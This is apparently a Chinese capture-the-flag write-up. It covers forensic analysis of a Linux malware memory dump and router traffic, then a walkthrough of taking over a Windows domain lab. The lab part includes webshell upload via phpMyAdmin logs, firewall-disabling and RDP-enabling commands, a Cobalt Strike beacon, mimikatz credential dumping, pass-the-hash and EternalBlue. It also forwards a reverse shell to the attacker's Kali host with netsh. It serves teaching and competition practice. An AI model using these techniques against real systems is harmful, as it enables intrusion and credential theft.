取证赛道
计算机、U盘、APK、手机
服务器
服务器1
直接用md5sum算出即可:a2444b61b65be96fc2e65924dee8febd
服务器2
直接用strings就能梭出来
strings ubuntu-client-Snapshot2.vmem | grep ubuntu-client
服务器3
通过上一题可以发现两个接口/connect
和/upload/
尝试在GDB中运行ubuntu-client
,但缺少libcrypto.so.1.1
库
使用以下命令下载并编译缺失的库:
wget -c https://www.openssl.org/source/openssl-1.1.1s.tar.gz && \
tar xf openssl-1.1.1s.tar.gz && \
cd openssl-1.1.1s/ && \
./config --prefix="/usr/local/openssl" && \
make
使用环境变量LD_LIBRARY_PATH
指定GDB查找依赖库的路径:
LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/home/michal/openssl-1.1.1s gdb ubuntu-client
使用GDB扩展peda
来辅助分析,用info functions
命令列出恶意软件使用的函数,注意到curl_easy_setopt@plt
,这是一个用于建立curl连接的函数
在curl_easy_setopt
函数上设置断点:
b curl_easy_setopt
开始调试:
run xGonnaGiveIt2Ya
就能发现地址
服务器4
根据上一题,可以直接得出:https://plankton-app-3qigq.ondigitalocean.app/upload/
服务器5
因为提供的内存转储文件无法被Volatility正确处理,所以要先确定生成转储文件的机器所使用的内核版本。
通过运行命令python3 vol.py -f ../ubuntu-client-Snapshot2.vmem banners
,可以确定Ubuntu使用的内核版本是5.4.0-163-generic
接着使用这个仓库,并将其内容复制到volatility3/symbols/linux
目录中,然后查找与执行命令ubuntu-client xGonnaGiveIt2Ya
时间对应的.service
文件
在缩小搜索结果后就能很快找到启动恶意软件后刚刚创建的服务
服务器6
搜索一下就能得到,T1543.002
路由器
路由器1
用wireshark打开后就能看到只有一个主机访问了路由器
路由器2
使用ip.addr == 192.168.10.1
过滤,右键点击一个数据包,然后跟随 TCP 流。在路由器的网页脚本中,会显示型号名称。
路由器3
使用 ip.src、ip.dst 和 http.request.method POST 在 Wireshark 中进行筛选。找到成功登录的数据包后就能看到
路由器4
检查 NetworkMiner 中的 AssembledFiles 文件夹,特别是 adm_status.asp.html。或者找到 Wireshark 中的 GET 请求adm_status.asp,就能在html里找到
路由器5
找到下面这个包
url解码后就能很容易看出是usbapps.config.smb_admin_name这个参数
路由器6
如图
路由器7
找到上题的.sh脚本就能发现
渗透赛道
崔の网站
由于本题设计有误,暂不放出wp。等修完后会在以后的某一场比赛再次出现,敬请期待
学校
因为大家以前都只看着我上课讲过,自己实操第一次打windows,难免会遗漏一些工具和方法。所以这篇主要来总结windows最基本的知识和打法,比较细节。如果碰到一些你没见过的工具要好好记下来,该下载的要去下载。系好安全带,我们出发
学校 1
只给了一个地址,fscan先梭一把
发现是个普通的网站,那就走一遍流程。先用nmap细扫一遍
没有发现什么重要信息,接着扫目录
发现有phpmyadmin
首页是个普通的探针页面,没有什么重要信息。进来phpmyadmin,弱口令root:root
可以直接进来
打phpmyadmin有通式,一种是有高权限,mysql能写入文件,可以直接上马。还有一种是权限比较低,就需要打UDF提权。关于UDF提权可以看2024西湖论剑]only_sql | Red的小屋
判断能不能直接写文件,最简单的方式就是看日志是否能写入
要把这个功能打开并设置写入位置
这里有个细节要注意,phpStudy的apache和nginx的默认网页路径都在WWW
下,字母大写,新旧版都一样。
再次查询就会发现修改成功
利用注释就能将马写进日志文件(shell.php)
尝试访问
为了方便操作,直接上蚁剑
可以发现自己是管理员
在Desktop即可发现第一个flag
学校 2
拿到权限后,第一件事,先关防火墙
netsh firewall set opmode disable
这步很重要,也是一个好习惯。因为关掉防火墙可以方便我们后期上CS马,以免被防火墙挡住
接着开启3389
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
接下来我们来生成CS马,首先启动CS主程序和teamserver
这里要注意teamserver第一个参数一定要是你当前和靶机同一个网段的ip。例如线下主办方给了你个1.1.1.1作为只有你能使用的ip,就要填为这个。因为这个ip是后面作为CS为木马创建反弹shell监听器的ip,一定不能填成127.0.0.1。第二个参数是密码,可以随意。
接着在启动器这里可以填成127.0.0.1,但是密码一定要填为上面teamserver的密码,否则无法登录。用户名和端口默认即可
进来后点击Listeners
点击页面最下面的add
名称随意,HTTP Hosts一栏点击右边按钮添加。此时就会弹出你在teamserver启动时填写的ip
默认,直接ok就行。然后save保存。接着点击这个
选择刚刚创建的listener
output保持默认。x64可以先勾上,如果对面是x64系统而你这里没勾上会有概率无法正常执行
然后上传生成的马
执行
成功上线。上线后第一件事情一定要先改sleep
。sleep表示你的马与对面服务器多久交互一次。因为渗透比赛一般不会有蓝队检查所以无所谓你的连接频率,越低越好,以免网络问题挤掉线
默认60秒,改成1秒即可。接着点击这里
就能获取图形化桌面
但延迟比较高不太方便,属于是不知道怎么做时的第二个办法。我们还是想办法用管理员直接rdesktop比较好。直接用CS跑一下mimkataz(这是一个在windows上跑一下就能自动提取密码的工具)
直接拿到明文密码
这里tspkg、wdigest分别是windows在RDP和部分HTTP进行认证时的方式,也就是说用rdesktop这种RDP工具连接时可以直接用mimikatz跑出来的用户密码登录。而kerberos则是域控的认证,说明这个账户不仅能在这台机器上以RDP形式登录,还能拿去登域控里的其他机器,也就是说这个账户在域控是通用的。这里不仅说明了我们的机器在域控环境里,暗示我们要去打域控,还说明我们有比较高的权限,因为在大部分情况下如果能拿到域控里Administrator这个账户一般都是比较高的权限(当然也有极个别恶心的靶机,故意把这个用户名赋一个很低的权限,拿一个什么xiaoming这种不起眼的账户当管理员,障眼法)。
所以我们接下来要做的就是做域内信息搜集。不过先废话不多说,先上rdesktop验证一下我们上面所说的(如果你碰到和我下面截图里第一行执行的一样的结果,说明你的防火墙还没关,或者3389没开)
可以从上面那个爆密码的截图得知,我们的域是god而不是这里RDP存在的STU1,所以我们要点击其他用户,
可以看到默认是登录STU1的域,我们要输入god\Administrator来指定是god域
可以看到在我输入后下面自动切换成了god,然后输入我们刚才得到的密码即可登录
这里我们通过CS把fscan传上来
然后直接在rdesktop运行就行
大概可以看出有永恒之蓝可以打。这里我们可以直接用永恒之蓝直接横向两台机子。但要注意的是,拿下电脑不代表拿下了域。域是完全独立于个体机的存在,就算你拿下了域控机,如果你没拿下域账户,你也还是看不到域的一些重要内容。
但是相反,如果你拿下了域账户,那么这个时候你就能登录到这台机器上,不管这个账户权限如何,你都能保证有个foot-hood。
因此我们接下来将兵分两路给大家做示范,演示分别用域和永恒之蓝拿下每个个体机
==========================分割线==========================
使用域拿下
在正式开始搜集域内信息前,让我先列出一些最常用的域信息搜集指令
ipconfig /all # 查看域是否存在
net view # 查看局域网内其他主机名
net config Workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user # 查看本机用户列表
net user /domain # 查看域用户
net localgroup administrators # 查看本地管理员组(通常会有域用户)
net view /domain # 查看有几个域
net user 用户名 /domain # 获取指定域用户的信息
net group /domain # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain # 查看域中某工作组
net group "domain admins" /domain # 查看域管理员的名字
net group "domain computers" /domain # 查看域中的其他主机名
net group "doamin controllers" /domain # 查看域控制器主机名(可能有多台)
因为在前面我们已经知道有god这个域,所以我们现在使用net group "doamin controllers" /domain
查询域控主机名(域控是整个域的最高权限设备,拿下域控就能拿下整个域。而正如我刚才所说,如果你只是有域控机的普通用户也是没用的,所以我们这里所说的拿下域控指的是使用对的账户去登录这台能过拥有最高权限的机器)
可以发现是OWA这台机器,我们可以通过ping直接定位ip地址(或者用刚才fscan扫出来的结果判断)
确定了ip,并且在刚刚mimikatz阶段我们知道了域账户Administrator的密码,我们就可以直接用哈希传递
的攻击方式拿下域控
哈希传递攻击: 在 kerberos、NTLM 认证(windows本地登录认证)过程的关键,首先就是基于用户密码 Hash 的加密,所以在域渗透中,无法破解用户密码 Hash 的情况下,也可以直接利用 Hash 来完成认证,达到攻击的目的,这就是 hash 传递攻击(Pass The Hash,简称 PTH)。如果内网主机的本地管理员账户密码相同,那么可以通过 PTH 远程登录到任意一台主机。 攻击流程:
- 获得一台域内主机的权限,Dump内存获得该主机获得该主机的用户密码Hash值;
- 通过哈希传递攻击尝试登录其他主机
- 继续收集哈希并尝试远程登录,知道获得域管理员Hash,登录域控,控制整个域
首先我们使用CS自带的hashdump获取哈希值
这里我们需要先拿下这台win7的system权限才能进一步进行哈希传递攻击。首先点击这里,就是CS自带的提权功能
选择我们的listener,等待一会儿就会拿到system
接着我们在最开始创建listener的地方重新创建一个新的listener,用于哈希传递攻击。并且这个listener必须使用smb协议
接着我们使用system权限用CS扫一下内网,让CS探测到我们要攻击的靶机
探测完我们点击这里
就能看到内网的所有机器
右键目标机,选择psexec进行哈希传递
选择我们前面用mimikatz跑出来的明文密码
listener选择刚创建的smb,beacon选择我们拥有system权限的beacon,这样我们获取到的就会是system权限。
成功拿下
使用永恒之蓝
因为CS没有永恒之蓝利用功能,所以要用msf。但win7的权限现在的CS上,要先转到msf上。先开一个转发listener,ip地址用主办方给你的ip或者127.0.0.1都可以,这个无所谓,因为后面会添加路由,让你的msf能访问到内网机
用上面方法在CS拿到win7 system后,点击这里
选择我们创建的转发listener即可
接着用run post/multi/manage/autoroute
自动添加路由
查看新建的路由
确认无误后我们先将这个session挂起
先搜索ms17-010的扫描模块探测一下
接着搜索ms17-010的exp,尝试攻击,会发现攻击失败
因此我们需要换个方法。如果我们像上面这样打的话,算是正向攻击。所以我们需要尝试一下反向攻击。
首先将msf模块设置好反弹ip和端口。win7作为跳板机设为lport
接着在win7启动gost,将自身4444转发至kali,指令如下
.\gost.exe -L tcp://:4444/192.168.163.139:4444 -L udp://:4444/192.168.163.139:4444
但在这台win7上gost好像因为缺库导致不能用,所以我们只能用windows自带的netsh工具进行转发。下面是简单步骤。
打开命令提示符(CMD)作为管理员权限运行。
使用以下命令添加端口转发规则:
netsh interface portproxy add v4tov4 listenaddress=localaddress listenport=localport connectaddress=destaddress connectport=destport
localaddress
:本地计算机的IP地址。localport
:本地计算机上要监听的端口。destaddress
:要转发到的目标地址。destport
:要转发到的目标端口。
例如,要将本地计算机上的本地端口80转发到远程服务器192.168.1.100的端口8080,您可以执行以下命令:
netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=80 connectaddress=192.168.1.100 connectport=8080
验证端口转发是否成功:
netsh interface portproxy show all
使用以下命令删除要修改的规则:
netsh interface portproxy delete v4tov4 listenport=localport listenaddress=localaddress
这里我就把win7的4444收到的请求全部转发给kali的4444,这样kali的msf就能收到来自52.138的反弹shell。命令如下
netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=4444 connectaddress=192.168.163.139 connectport=4444
需要打3次才能通,第一第二次会报下面这样的错误属于正常情况
第三次就可以拿到shell
==========================分割线==========================
最后让我们看回题目,题目提到把大技文件给删了,所以大概率在回收站。到这步仍然可以用meterpreter的端口转发工具去rdesktop,但有点麻烦了,我们直接翻回收站就好。
这里又涉及到一个小知识点,就是windows回收站路径,直接搜就能搜到
成功拿到第二个flag
学校 3
一样,打msf,就不再演示了,基本上把上一题ip换一下就行
一些小问题
CS可能会掉线,尤其是线下赛人多的时候。不用慌,不用重新生成马,如果有rdesktop了,那就直接再双击一下马就能重新在CS看到上线提示。
CS进行upload的时候可能会卡一下,这是正常现象,kali右上角核心会吃满。不用急着到处点击,以免卡死